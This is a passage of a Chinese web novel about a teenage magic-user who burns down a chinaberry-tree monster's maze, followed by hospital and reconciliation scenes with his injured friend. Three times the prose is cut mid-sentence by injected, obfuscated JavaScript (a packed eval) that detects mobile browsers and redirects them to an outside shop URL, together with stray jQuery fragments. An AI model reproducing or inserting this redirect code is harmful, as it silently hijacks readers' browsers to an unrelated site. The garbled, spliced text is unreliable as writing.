对于谵蘖布下的圈套,他一定是不会再踏入了,这辈子他都不会再走迷宫了。 既然如此,那就只有把迷宫毁掉这一条路可以走了。 用火攻? 不行。 这迷宫太大消耗太多不说,关键是只要谵蘖还在,这些苦楝树就会源源不断出现,还是无法解决问题。 那么,就只能——擒贼先擒王! 把谵蘖彻底消灭,一切就都能结束了。 因此当务之急,还是要先找到对方的具体位置。 之前他能找到,这次也可以,就算没了手柄作为感应目标,还可以找别的东西。 比如—— 罗乐安俯身捡起一颗苦楝果实,捏在指尖仔细端详。 这东西和一般的苦楝果实看着没什么不同,却还是又不一样的地方。 虽然它不是从谵蘖本体生长出来的,可组成迷宫的苦楝树都是谵蘖催化而来的,那么或多或少,一定也都沾有谵蘖的能量。 所以,就算能量稀薄,只要循着能量的波动,自己就一定能找到谵蘖的所在! 想到这里,他不做任何犹豫,右手手腕向上一甩,苦楝果便被抛到半空,而后被点燃,在空中化作一个火团。 这俨然是一个新技能,不用召唤弓箭就可以使用火元素。 不过罗乐安根本就没注意到这一点,他闭着眼睛,此刻的全部心神,都在努力感知谵蘖的下落。 随着果实燃烧殆尽,果实中附着的谵蘖的能量也彻底消失。 不过已经足够了,果真如他猜测的那样,谵蘖的本体对于这些能量的无端损耗是有波动的。 然而—— 一个好消息:他真的捕捉到了谵蘖能量的踪迹。 一个很难界定到底是好还是坏的消息:他捕捉到的踪迹,有四个。 而且,方向各不相同! 开、开什么玩笑! 难道同时有四个谵蘖在等着他吗?! 这还怎么打啊!!! “唔……” 一旁的温朗又无意识地发出一声闷哼,罗乐安转头看去,咬了咬嘴唇,下定决心。 打不了,也得打! 可具体要怎么打呢? 一个一个找过去肯定不行,就算没有果实的攻击,也还是太费时,他等得起,温朗可等不起。 实在不行,先从顶端突破,把伤员送出去,自己再慢慢跟谵蘖耗。 想了一圈没想到其他办法,罗乐安决定还是以温朗为先,便把人背起来,用斗篷固定,然后一手举盾,一手投掷飞旋镖,顶着枪林弹雨一路向上跃到迷宫外面。 还好之前消灭那棵谵蘖后,空地上方新布下的枝叶还未生长得足够茂密,给他的“逃脱”之路降低了些许麻烦。 只是当他呼吸着自由的空气,想要从迷宫顶端下去的时候,却遭遇了新的拦截。 那些原本水平生长的枝干,以及自然向下垂坠的叶片,尽数开始向上生长,就像是一只只狰狞的魔爪,想要将身处其中的两个人牢牢抓住,撕碎。 这让罗乐安不敢再轻举妄动了。 在这种情况下和谵蘖对抗,他有自信自己能够逃脱,却无法保证自己背上的温朗可以毫发无伤。 他只好收回迈出的脚,小心翼翼地伸出手,抹掉脸上新伤口渗出的血痕后就不再动作,整个人收敛又紧绷。 见他如此,谵蘖也没再动,那些阴森诡异的树枝停在半空,两方陷入僵持。 举着球状的光盾,罗乐安十分提防地转动眼球,仔细观察周围树枝的动向,只准备一有新情况,马上从洞口跳下去,另想它法。 好在见他没再有离开迷宫的意思后,张牙舞爪的树枝也就慢慢收了回去,恢复了原样。 “奇……怪。” 罗乐安小声嘀咕了一句,“为什么不趁着这个机会发动攻击?” 「哎呦,当然是因为谵蘖能量不够啦~」 消食了好半天的丧丧在这个时候突然出声,而且大概是因为刚刚“吃”得很满足,声音竟然不但没有走丧气风,还卖起了萌。 只是就算装嗲,这种冷不丁喊一嗓子的行为,还是吓了神经紧绷的罗乐安一跳,手臂一挥差点碰到温朗的伤口。 “丧丧!你能不能别总这么神出鬼没的!” 他伸手抚了抚胸口,想要冷静下来,只是情绪终于找到了发泄口,他憋不住。 “出现就出现吧,说点有用的成吗?你说你堂堂一个魔法使精灵,每次出现问题找你你都有状况,你你你,你果然是个废物精灵!我告诉你,等我以后有机会,我一定会想办法给你换……” 「我有办法消灭谵蘖。你刚刚想说什么?」 “……我是说,等以后有机会,我一定会想办法给你——换套皮肤,对,皮肤!刚好天冷了,我给你做个毛绒绒的‘小外套’,怎么样?” 「那我要加小猫耳朵。」 “……行!当然没问题——不过你可不可以恢复原来的丧气风啊?你这样子很OOC啊,我好不习惯的——而且现在是说这些的时候嘛!!!” 破碎的哨音,终于将他俩的谈话拉回到了正轨。 「哦。」 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677878|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >丧丧很听劝,声音马上就恢复了恹恹的质感。 「我说的方法需要确定谵蘖能量的精确方位,你可以吗?」 “啊?确定方向不行吗?” 「不行,必须要『精确』定位,要够具体,而且必须要靠你自己感应到才行,不然很容易射偏。」 “必须”两个字给了罗乐安些许压力,却也让他原本有些浮躁的心沉了回去。 他闭上眼睛,再次进入冥想状态。 可能是从迷宫内部出来的缘故,这一次自己对谵蘖的感应要比之前强烈许多,脑袋里面很快就出现了四个红色光点。 看方位,刚好位于迷宫四条边的中点。 “找到了。”他低声跟丧丧说道。 后者没有着急回话,只是发射了一道银光,落到了右手柄上。 罗乐安睁开眼睛,确认周围暂无危险后,他收起飞旋镖,转而召唤出一支火箭。 一支橙红色中掺杂着银丝的箭矢。 怪不得丧丧刚刚说了“射偏”两个字,原来还是箭。 “新的……火焰箭?” 「这是『多发火焰箭』。」 “多发火焰箭?”罗乐安翻看着手里的新武器,脸上的表情终于没那么凝重了,“可以连发了?就像诸葛连弩那样?” 「不是,是可以在发射后一支幻化成多支箭。现在最多可以变五支箭,同时你还可以凭借意念控制方位。」 听到丧丧的解释,罗乐安抿嘴点了点头。 “如果是用这个,确实可行,那我现在……” “乐……乐……” 话说到一半,颈边传来了温朗的呻吟声,打断了他即刻准备起跳的脚步。 刚刚背着对方行动是迫不得已,可这次是攻击,他有点担心射箭时候的能量会伤到人,一时也拿不定主意。 犹豫半晌,罗乐安还是决定把温朗留在树冠顶部。 并把左手柄的光盾留下保护。 反正也不是没徒手射过箭,之前可以,这次一定也可以。 至于射程问题,现在的自己魔力应该比漫展的时候提升了不少,学校里的空地面积说不上很大,那百十来米的距离他应该能办到。 想妥之后,罗乐安小心将温朗放倒放平,轻轻拉过他的手,把左手柄放进对方掌心,并将手指轻轻收拢。 而在想要站起身来时,他又将手里的斗篷轻轻盖在了温朗身上。 能多一层防护总是好的,再不济,还能保暖。 “我会马上搞定谵蘖的,然后尽快送你去医院。等我。” 说罢,他揉了揉发酸发红的鼻头,转过身时,面具之下的澄澈的圆圆鹿眼里,闪过坚定的眸光。 他右脚向下一蹬,整个人跃至空中,同时右手向上一抛,那支升级版的火焰箭随即飞到高空。 就在他行动的同一瞬间,苦楝树的树枝又开始向上收拢,同时发射了新一波果实攻击。 罗乐安没有躲,只是无论是树枝还是果实,也都没能近的了他的身。 全都被火焰箭发出的刺目的焰色光芒,拦在了空中。 而当光芒渐淡、温和可以视物的时候,空中的箭矢已经变成了四支。 箭尖朝上,闪露锋芒,将凝滞在半空的树枝和果实,都吓退了三分。 然而周身环绕着丝丝银辉、悬浮在半空的罗乐安并没有注意到这些。 此刻的他,精神前所未有地高度集中,脑袋里面只想着两件事:四支箭,和四个点。 确定方位与箭矢完全对应好,他将右手高举过头顶,停顿片刻后,猛地握拳。 四支火焰箭得到命令,如四道灼热的闪电一般劈开晴空,朝着四方破空而去。 然后精准地击中脑海中的四个光点。 迷宫的东南西北四个方位,霎时腾起烈焰,红雾四溢,就像是骤然绽放的妖异红花。 火势由点及面,沿着四散的苦楝果实一路蔓延,迅速将整个迷宫,全都吞噬殆尽。 66. CHINABERRY⑩ 随着火势愈加迅猛,周围环境的温度也升高了。 不过好在这些火焰有“认人”的智能功能,不会灼烧到主人,更不会伤害到被光盾无死角护着的温朗。 还可以顺便取个暖,非常适合发烧的人。 然而罗乐安现在根本没空吐这个槽。 发射完火焰箭后,他便落回到了温朗身边。 本应该趁热打铁,尽快将谵蘖净化掉,可现在却呆愣地站在那里,张着嘴巴却发不出半点声音,两眼望向火光,直愣愣地出神。 只因为他又一次在谵蘖的痛苦哀嚎中,听到了不属于它的声音。 这本不足以让他吃惊,奈何,这次的声音还格外耳熟。 【气死我了……烦死了!烦死了!】 【……倒霉死了!】 【早上摔中午还摔!】 【……还被喷饭粒……还跟人吵架……】 是他自己的声音。 并且刚好就是谵蘖出现不久前,自己刚说过的话。 罗乐安整个人都傻了。 为什么? 为什么会在这个时候听到自己说过的话? 难道谵蘖还有录音功能吗? 那之前几次听到的声音,莫非也不是谵蘖自己的情绪,而是别人曾经说的话? 会是什么人? 而且,人,和谵蘖? 这两者竟然会有关联? 这两者,为什么会产生关联? 事情越想越复杂,严重超出了罗乐安CPU的负荷,搞得他脑壳都开始痛了。 加上胸前的手柄胸针闪烁得比舞厅的灯球还快,俨然是在提醒他,可以进行下一步,别再耽误时间。 他晃晃脑袋,让自己清醒几分。 没错,现在还有更重要的事要做。 趁着火还没烧过来,他赶紧把左手柄拿回来。 “L-R同步!净化领域,启动!” 随着银光覆盖,烈焰跟谵蘖尽数消散,这座由苦楝树搭就而成的迷宫,自然也随之“树崩叶解”。 “这次,谵蘖应该被彻底消灭了吧……” 罗乐安吐了口气,喃喃自语。 在迷宫里穿行的那段时间,他消耗了太多体力。 之前因为温朗这根“胡萝卜”吊着,他才一直撑着没有倒下,现如今一切尘埃落定,他也终于有体力耗尽的感觉了。 不过还好,还站得住。 “温……啊——” 正要转头看看温朗的情况,却不料脚下突然一空。 原来是谵蘖催生的苦楝树全都消失,回归到原本的果实状态,而这直接导致他俩落脚的地方没了。 所以最终的结果…… 就是两个人要从二十几米的高空垂直落下。 这种收尾也太草率了吧喂!!! 而且自己有魔力怎么都好说,可温朗就是一个普通人,现在身上还套着“病弱debuff”,别说二十米,就连两米都会给人造成新的伤害啊! “温朗!温朗!!!” 罗乐安迅速调整姿势,如一支脱弦利箭一般冲破喧嚣的气流,整个人朝向地面俯冲而去。 然而他还是觉得自己不够快。 他依旧觉得下方温朗的身影,在不断变小。 一种前所未有的恐慌在他心里升腾翻滚,比之前被困在迷宫里不清楚温朗状况的时候还要慌,心就像是被掏空了似的。 “阿朗——” 气流将罗乐安脸上的面具掀开,宛如一片银色的翎羽,坠入无边的蓝色。 * 温朗是在谵蘖被消灭的五个小时后醒的。 他睁开眼,入目便是一片白色的天花板,冷白的灯光刺痛了他的眼睛,他不得不又闭上缓缓。 不过鼻子嗅到的消毒水味道,已经让他知道自己现在是在哪里了。 医院。 看来怪物应该是彻底被消灭了,不然他也不会平安出现在这里。 也不知道自己昏迷了多久,自己的记忆似乎只停留在一片火光那里,在那之后…… 不对! 要是他没记错,自己之前还有过一次短暂的清醒。 当时,他好像是正在下落,而那个时候的记忆画面里,已经没有遮天蔽日的苦楝树了。 只有一张,没有戴面具,却依旧模糊的脸。 可恶,到底他还是不知道那个L-RAether到底是不是乐乐。 但是直到现在,他还是觉得答案是肯定的。 他会受到情绪驱使而做出不理智的决定选择留在那里,包括独自身处迷宫的时候,他会产生那种极度担心的情绪,其实都是基于这个假设。 现在从结果倒推的话,他的假设应该是正确的。 不然没办法解释,为什么一个纯粹的陌生人,会和自己心意相通。 所以答案只有乐乐。 只能是乐乐。 分析梳理了一大通,温朗整个人也完全清醒了,压下心里咕嘟咕嘟不停冒小泡的复杂情绪,缓缓睁开眼睛。 医院的灯光到底还是有些刺眼,他下意识想要伸手挡一下,却不料左手刚一动,就碰到了一个毛绒绒的脑袋。 “小朗,你醒了?” 一个女声响起,却并不是脑袋的主人。 “……妈?” 看着拎着保温桶进来的亲妈许琴,温朗动了动嘴,却发现声音沙哑,嗓子更是像吞了玻璃碴子一样疼痛难忍。 “嗓子疼吧?嗓子疼就少说话。” 许女士先是松了口气,紧接着她的表情以肉眼可见的速度变得冷淡,明显心里有气。 “三十七度二。” 将耳温枪放下后,她伸手将病床摇起来,“不烧了,那就起来喝点粥。” 说完,又将趴在床侧的罗乐安拍醒。 “乐乐,回去休息吧。你一直陪着小朗,累坏了吧。阿姨已经忙完了,今晚我留下来陪床,已经六点天黑了,你快回去休息吧,跟你温叔叔一起走,他去楼底下抽烟了。” 罗乐安怔愣愣地直起身,又迷瞪瞪地点点头,看似听话,其实人还没完全清醒。 直到他揉完眼睛,扭头瞧见了温朗。 嘴角一撇,眼角一耷,软萌又迷糊的表情瞬间就冷成了漠北雪原。 “乐乐……” 温朗忍着嗓子的不适轻声开口,并抬手想要拉对方的手。 却被罗乐安无情地侧过身拒绝。 但当他面对许琴女士的时候,又摇身一变,恢复成了小可爱。 “那许阿姨,我就先回去了,您也早点休息。对了,明天停课,我要去图书馆写作业,顺便给您送早餐吧。小区门口早餐摊的牛肉糁汤配火烧好不好?” “啊?不用麻烦了,小朗明天上午就出院……” 许女士原本想要拒绝,结果眼睛一瞥就看见自家那个一向精明的大儿子,正眼巴巴地瞅着自己,跟只傻狗狗似的,心一软还是改了口。 “那就麻烦乐乐了,能再给小朗带份小米粥吗?” 听到他的话,罗乐安下意识想回头看温朗,不过下巴刚动就忍住了,也没开口答应,只是点了点头。 “那我走了,阿姨再见。” 看着病房房门被从外面带上,又听到温朗操着沙哑的声音跟自己道谢,许女士挑了挑眉,也没说话,只是低头继续布置晚餐。 而当对方喝下半碗鸡丝粥,拧着的眉终于舒展了一些时,她开口了。 “你跟乐乐还没和好?” 顾及到病房里还有其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691094|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他人,她还压低了声音。 嗓音一如既往地温柔,可话的内容却是直戳温朗心窝子。 “唔……” 他含含糊糊应了一声,低头专心喝粥。 倒不是想逃避,只是他觉得这是自己和罗乐安之间的事,没必要让家长掺和。 然而一向善解人意且好脾气的许女士,却全当不知道,选择继续扎刀。 因为在了解完温朗进医院事件的全部始末后,她对于对方遇到危险不及时避险反而还要主动掺和的行为,极为不满。 但最让她生气的,是这个从不让自己操心的儿子,其实是明知故犯,所以她批评也没用,只能得到一串“是是是”“对对对”“我错了”“不会再犯”的敷衍。 儿子太聪明就是这点不好,真难管啊。 幸好,所谓“卤水点豆腐,一物降一物”。 乐乐就是卤水,专门点温朗这块老豆腐。 “我记得之前是你跟他生气来着,怎么现在我看着好像调换过来,乐乐看着不想理你啊~” 听到亲妈毫不客气地“欻欻”往自己心上戳刀子,温朗只觉得现在不止嗓子疼,胃也开始堵得慌。 他放下碗,想要打断这场来自亲妈的“屠戮”,奈何还没等他开口,新的刀子就已经飞过来了。 “你知道他为什么会这么生气吗?” “……”温朗泄气了。 “妈,别说了,我知道错了,这次是我冲动了。” “真知道了?” “真知道了。” “行吧。那你以后冷静……” 见他态度端正不像敷衍,许女士也就不打算再多批评什么了,一边收碗,一边想着嘱咐两句。 然而话说到一半,小桌板还来得及撤掉,她就发现好像哪里有问题。 “不对啊,小朗。你也不是性格冲动的人啊?当时干嘛一定要搅合进去?” “我……” 温朗一时语塞,他又不好说自己是因为觉得罗乐安就是那个魔法使才留下,只好试着转移话题。 “反正脑袋一热就……不说这个了,妈,你刚刚说,乐乐一直在医院陪我,是真的吗?” “是啊,”许女士将桌板收起来,“不止在医院,我听你们韩主任说,乐乐一直跟他在那个怪物造出来的迷宫外面等你,从你获救到送到医院这一路,乐乐也一直陪着你呢——得明天你可得好好跟乐乐道歉,听到没有?” “……哦。” 温朗讷讷地点头应道。 他现在实在是找不出来什么别的适合的反应了,脑袋里面乱得很。 乐乐,不应该就是那个L-RAether吗? 可是又为什么会一直和韩主任待在一块呢? 这怎么可能呢?! 许女士瞧见温朗眉头又皱起来了,伸手轻轻拍了拍他的肩膀。 “都住院了,就别复盘了,而且这种经历有什么可复盘的?” “没复盘,就是……腿疼了。” 这是借口,也是实话。 大概是麻药劲儿过了,腿上的伤口开始隐隐作痛,也让温朗更难集中精神去重新捋清思路。 “能不疼吗?两个洞血刺啦呼的,幸好没伤到骨头和神经。行了,赶紧把药吃了。” 本想吃了药之后重新进行推理,但是止疼药里大概还有镇定成分,让温朗一觉睡到天大亮。 好在他身体底子好,一晚上都很消停,半夜也没再烧起来,一觉起来神清气爽,看着完全不像个伤员。 当然,药物的作用是其次,更重要的是,一想到早上就能看到罗乐安,他就高兴,状态自然就会好。 然而,当温朗一脸笑容地坐在床上迎接罗乐安的时候,等来的,却是对方的——忽视。 67. CHINABERRY①①^^…… “乐乐~你来啦!” “乐乐,这么早啊~真是辛苦你了。” 第二天一早,6:50,罗乐安在跨进病房门后,紧接着面对的就是许琴和温朗母子俩,如出一辙的欣喜笑容。 他先是一愣,而后径直转身面向许女士,就好像跟自己打招呼的,从始至终就只有一个人似的。 “阿姨早,”他笑眼弯弯地将手里的早餐递过去,“怕你们觉得口味单一,我妈还熬了牛奶银耳羹,甜度……适中。咳,我还给ni……嗯,带了冰糖,要是觉得不够甜,可以自己放……” 说到最后几句的时候,罗乐安的声音变得又小又含糊,可架不住身后坐病床上的那家伙,现在整颗心都在他身上,自然是一个音节都没落下,全都收进了耳朵里。 “乐乐,你还记得我啊……” 温朗的声音充满了开心和感动,显然是觉得对方既然考虑到了自己的口味,一定是已经原谅了自己,或者至少已经没那么生气了。 然而这只是他的一厢情愿。 听到他的话后,罗乐安并没有顺着台阶下来,头都没回,依旧面对着许女士,甚至已经开始道别了。 “许阿姨,您慢慢吃,我就先走了,再见。” 说罢,他就果断向左转,毫不犹豫就准备往病房门走去。 已经望眼欲穿的温朗,连个眼神都没得到。 他只能马上向母亲大人求助。 “那什么……” 难得瞧见一向成熟的儿子这么无措,许琴到底是心软了,接收到眼神信号后,立马就叫住了罗乐安。 “乐乐你先别着急走,能先帮阿姨个忙吗?” 罗乐安不待见温朗,可说话的是许阿姨,他自然是不会拒绝。 “当然行。需要我做什么啊,许阿姨?” “阿姨……忙活了一早上,光捯饬小朗了,自己还没收拾呢,想麻烦你帮忙给小朗布置下早餐。那就拜托你了哈,乐乐,阿姨先去卫生间了,再晚人就多了。” 许琴一边说,一边拎着洗漱包往外走,完全不给罗乐安拒绝的机会。 所以当后者消化完话里的信息时,前者已经离开了,病房里就只剩下处在单方面冷战的两个人。 这下罗乐安想不看温朗都很难了…… 才怪。 忙,他的确是帮了。 架了桌子,摆了餐具,还把粥和小菜都放好,可以说是做得非常细致了。 就是全程低头,不管床上的人如何招呼他,两个人的眼神交流一直为——零。 “乐乐!” 到最后温朗实在是没辙了,只能上手扒拉罗乐安,“我真知道错了。不止是昨天的事,还有之前的事,是我不对。” 听到他这么说,罗乐安解塑料袋的动作一顿,终于抬起了头。 却还是没说话,只是看了对方一眼,而后将自己左胳膊上的手拿开,然后一言不发地离开了。 直到身后的病房门关上,罗乐安努力紧绷的脸,终于撑不住了,“PIA叽”一下松下来,吊起的眼角又圆了回去。 “唔……好累哦……” 他揉了揉自己僵硬的腮帮子,被挤压成“O”形的嘴巴,让他看起来像是一条小鱼。 不过他没有在吐泡泡,而是在吐槽。 “装高冷真的好难啊!也不知道凛酱平时到底是怎么保持自己的表情的……天赋异禀吗?” 只是吐槽只能缓解罗乐安一时的烦闷,等到抱怨完了,他心里那个结还依旧梗在那里,亟待解决。 而且需要解决的不止这个,还有关于谵蘖的问题。 每次净化谵蘖,他都会听到一些莫名其妙的声音。 之前自己虽然有过疑惑,却从未真的在意,更未有过深入思考。 可是昨天的事情,不仅牵扯到了他自己,更是伤了温朗。 这让他无比愤怒。 然而当他去问丧丧的时候,对方却并没有给出一个令他满意的答案。 「我不知道。就我所知,谵蘖就是由于异常能量引起的植物变异。但我检查过了,你的能量场很正常。而且我也从没听到过你说的声音。」 「我唯一检查到的一点奇怪的地方,就是似乎有陌生能量出现过,但也只有一瞬间,追踪不到。」 「不过从能量构成的分析结果来看,似乎是不属于地球,而是来自天外。」 这些信息有用吗? 倒不能说没用,可对于罗乐安来说,完全没有帮助。 因为他甚至不知道该如何调查——总不能潜入航天局吧! 幸好倒也不是全无线索。 他自己,就是最重要的线索。 “苦楝树,学名为楝,是楝科,楝属植物。落叶乔木,高可达十米……跟百科上写的没啥区别啊,一点用没有……”* 罗乐安额头抵着湖灵市图书馆自然科学分区的书架,悻悻地一边自语,一边将手里的书塞了回去。 这是他来图书馆的主要目的。 不过他已经在这儿待了两个小时,翻查了二十多本书,却依旧没找到苦楝树跟自己到底有什么关联和共通点。 “总不能因为我们都是碳基生物吧……” 他失魂落魄地回到座位上,嘴里嘟嘟囔囔,整个人沮丧极了。 但就算如此,罗乐安还是要振作,他—— 还得写作业呢。 这次的事故彻底让湖灵高中的西校区也全面停课了,今天临时休息一天,之后还有为期一周的线上课。 只是说是休息,可那些明天上课就要讲的十几二十张卷子还压在他身上,就算是糊弄也得先把空填满。 不然都对不起自己之前无意中立起来的勤奋人设。 然而半个小时过去了,他最擅长的英语卷子也只做完了一篇阅读理解,而且—— “ACDBD……全错?!” 对完答案的罗乐安,额头抵在桌面上,已经完全失去再做下去的动力。 算了。 随手将英语卷子拢到一边,他拉过文综卷子,准备先写不太需要动脑子的部分。 顺便还可以再想想怎么不跌份地跟温朗和好。 他就这么边做卷子边走神,直到下午四点,天色已经擦黑,他终于糊弄完了所有的卷子,带着一脑子的浆糊往家赶。 等快到小区的时候,时间已经是傍晚五点。 天,黑透了。 不过小区门口,却很亮堂。 还聚集了一圈人,个个仰头向上看,同时还都拿出了手机不知道在拍什么东西。 尽管罗乐安整个人“丧丧附体”,此刻对外界的感知力降到了最低,可二十多个人堵在自己回家的必经之路上,他的精神再怎么屏蔽,□□也无法穿越人墙。 而且人群不断发出惊叹的声音,多少还是激发了他仅剩不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16714921|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多的好奇心。 万一是有什么需要自己变身成L-RAether解决的异常呢? 于是,他走到人圈外围,也抬起头。 定睛一看,嚯—— 什么都没看到。 只有一片夺目的白光。 怪不得他刚刚觉得小区门口今天格·外·明亮,原来是新装了大路灯吗? 可不就是盏灯吗? 有这——么值得围观吗? 等会儿! 好像不太对! 当眼睛适应了强光后,罗乐安终于看清了光源位置。 哪里有什么新路灯,明明是自己的卧室啊! “让让、让让!麻烦让让……” 他挤开人群一路小跑到家,刚进家门,就瞧见胡女士搬了个小凳子坐在自己卧室门口,沐着从门内倾泻而出的白光,仰着头,水灵灵的大眼睛紧紧盯着他的卧室天花板。 乍一看,十分乖巧,甚至虔诚。 就是有点OOC了。 “妈……妈?”罗乐安小声招呼了一句。 他有点不敢认,只能先试探一下,看看眼前这个披着胡女士皮肤的,到底是不是自己的母亲。 听到动静的胡女士,注意力终于从灯上移开,转头看向自己大儿子。 “罗乐安,虽然你娃娃脸,可好歹已经十八岁了,少用叠词,你不瘆得慌我还膈应呢。” 呼。 罗乐安长舒一口气,幸好。 胡女士一张嘴,他就能确定是真的。 但这样才更可怕啊喂! “胡女士,”他深呼吸,指着自己和天堂一般锃亮的卧室,“这是什么情况?们魔法少女,和耶稣联名了?” “说什么傻话呢!”胡女士毫不客气地翻了个白眼,又把头转了回去。 “下午我发现你卧室的灯坏了,就同城闪送了个新的,没想到瓦数有点大。” “这是有·点·大吗?胡女士你知不知道,从外面看咱家,就感觉这屋子好像差了12个小时时差啊!你再开一会儿,楼下聚集的人都可以开个音乐节了。” 说罢,罗乐安快步走到胡女士身边,伸手就把灯给关了。 伴随“啪”一声,他发现自己,瞎了。 伸手不见五指。 直到这时,他才反应过来原来客厅的灯之前一直没开。 然后他条件反射般又把开关按了回去。 “我也没料到会是这种效果啊!” 一旁的胡女士对于刚刚“白天——黑夜——白天”的切换表演并不在意,她还在为自己辩驳。 “我本意是想着让你学习的时候不那么伤眼睛,所以才特意选了个瓦数大点的,而且也真的没多大啊,才六十瓦,还没破百呢。” “你还想破百?!” 罗乐安都快被逼出哨音了,“现在的亮度拉上窗帘都不影响狙击!再亮的话,别人真会以为耶和华到咱家来点卯了!” “你这也太——夸张了吧!” 胡女士鼓起腮帮子噘嘴,“再怎么说,也不可能……唔?什么动静?” 她的话还未说完,就被一阵突然响起的奇怪声音打断了。 而听到她的话后,罗乐安也竖起了耳朵。 “有点耳熟,好像是去年路过城东教堂的时候听到过。” “教堂?”胡女士瞪圆了眼睛,“该不会,上帝真的要来了吧!” 68. CHINABERRY①②^^…… “该不会,上帝真的要来了吧!” 听到胡女士的话,罗乐安实在是没忍住,翻了个大白眼。 不过这一“子不孝”的行为并没有引起“母不慈”的后果,因为胡女士还沉浸在自己的分析之中。 “这该不会就是传说中的‘念念不忘,必有回响’吧?就因为你刚刚一直说‘卧室变天堂’这种话,(罗乐安翻白眼again:我才没这么说过!)所以上帝才会出现!” “……” 罗乐安总觉得自己亲妈好像是受了什么刺激,总不能因为姓胡,就总是开口说胡话吧? “胡女士,你能不能相信相信科学?” “可科学的尽头就是神学啊!而且我都魔法少女了,你还想让我怎么科学?” “……” 真是让人无法辩驳的发言。 但是—— “但是你没觉得这个声音一直就在隔壁,根本没再靠近吗?总不能上帝串错门了吧!” 一边叹气,罗乐安一边穿过房间,打开阳台门。 正要抬脚跨出去,突然像是想到了什么,停下动作转过身,出了房间去把客厅的灯打开,而后又折返回来,关上了自己卧室的“天堂入口”。 “胡女士,先去吃点东西吧,或者玩游戏也行,总之,离我的卧室——特别是卧室灯的开关——远一点。” 他可不想自己的卧室下面真的开起音乐节。 叮嘱完这些后,他就在胡女士一脸不服气的表情中,去到阳台,然后跨栏到了隔壁。 少了墙壁的阻隔,那道呲呲啦啦的声音更加明显,不过杂音明显也比刚刚少了一些,没那么像锯木头了。 锯木头? 罗乐安挑了挑眉,露出了一个“果然如此”的表情。 一定是温朗又在鼓捣他那把小提琴了。 也不知道他不好好休息养伤,摆弄这玩意儿做什么。 而且—— 以对方之前的“业务”水平,就算是好几年没拉过,也不至于一下子就退化到这种初学者的程度吧! 难不成,是小葵又调皮捣蛋了吗? 他一边在心里这么分析着,一边敲了敲温朗卧室的窗户玻璃。 随着“咚咚”两声轻响,房间里旋律磨人的小提琴声终于停了下来。 又过了大概十秒钟——期间还伴随着各种窸窣和吸气的声音——房间窗帘被从里面拉开,阳台的门也随之打开。 “乐乐?真的是你!” 温朗的声音有些颤抖,显然是非常激动。 罗乐安原本还想继续假装高冷,奈何条件不允许。 房间内的热空气从门内飘出,落在他冰冷的鼻尖和眼角上,让其变得湿润润、暖烘烘的,整个人也因此绵软了许多。 而且热空气出来的同时,屋外十二月份的冷空气也在不断往温朗的卧室里飘。 像他健健康康身强力壮、并且还穿着外套的,倒是不会受什么太大影响。 可对方现在是大病初愈、大伤未好的状态,如果这个时候再着凉,那结果肯定是要再进一次医院。 想到这儿,罗乐安也顾不得跟人赌气,快步进了房间,然后关上门。 进屋之后他没有马上开口说话,因为他还没想好,怎么才能自然地把脚下的“台阶”铲掉。 毕竟他俩还没和好呢。 自己还生气呢! 要不指责温朗穿着睡衣开窗户,不爱惜自己身体? 不行—— 就算他语气臭,可本质还是关心啊! 或者开门见山,上来就投诉对方扰民? 可这会不会就是这个人的目的呢? 让他主动过来找人——如果自己真这么做了,岂不是正中人下怀? 那他不就输了吗? 绝——对不行! 干脆,就直接冷脸不说话好了,看他俩谁先憋不住。 打定主意后,罗乐安不慌不忙往卧室中间走,正打算找张椅子坐下,却一眼瞧见放在床上的东西。 然后,就愣住了。 “怎么了?” 温朗见他一直不说话,最后更是站定在了自己床前,激动的心情慢慢被疑惑所取代,便开口问道。 一边问,一边拉好窗帘往回挪。 只是他的右腿还伤着呢,只能单腿蹦,好在房间不大,几下就到了罗乐安身边。 他一直没等到回复。 可在人身旁站定,发现对方的视线落到了自己床上时,便明白了对方沉默的原因。 “我……想用这个哄你来着。” 听到温朗的话,罗乐安终于有了反应,也在两个人吵架这么多天后,第一次主动看向了对方。 “你确定不是想用这个点我吗?” 也是第一次主动跟这人开口说话。 “当、当然不是!” 温朗有些破音,他现在太过激动,早就没了沉着稳重的模样,俨然是一个愣头青。 但这种青涩的表现倒是让罗乐安特别满意。 想也知道,他俩吵架这么久,如果对方还跟之前一样,总是波澜不惊、风轻云淡,那…… 自己就可以跟对方彻底割席了。 “真的吗?” 虽然是质疑,可他的声音明显比刚刚要柔软不少,“我以为你要用我小时候对不起你的事儿,劝我懂事呢——毕竟当时你可是对我发了好大的火。” 说着,他弯腰去够床上的东西。 左手拎起一把小提琴,右手则拿起了……一根大葱。 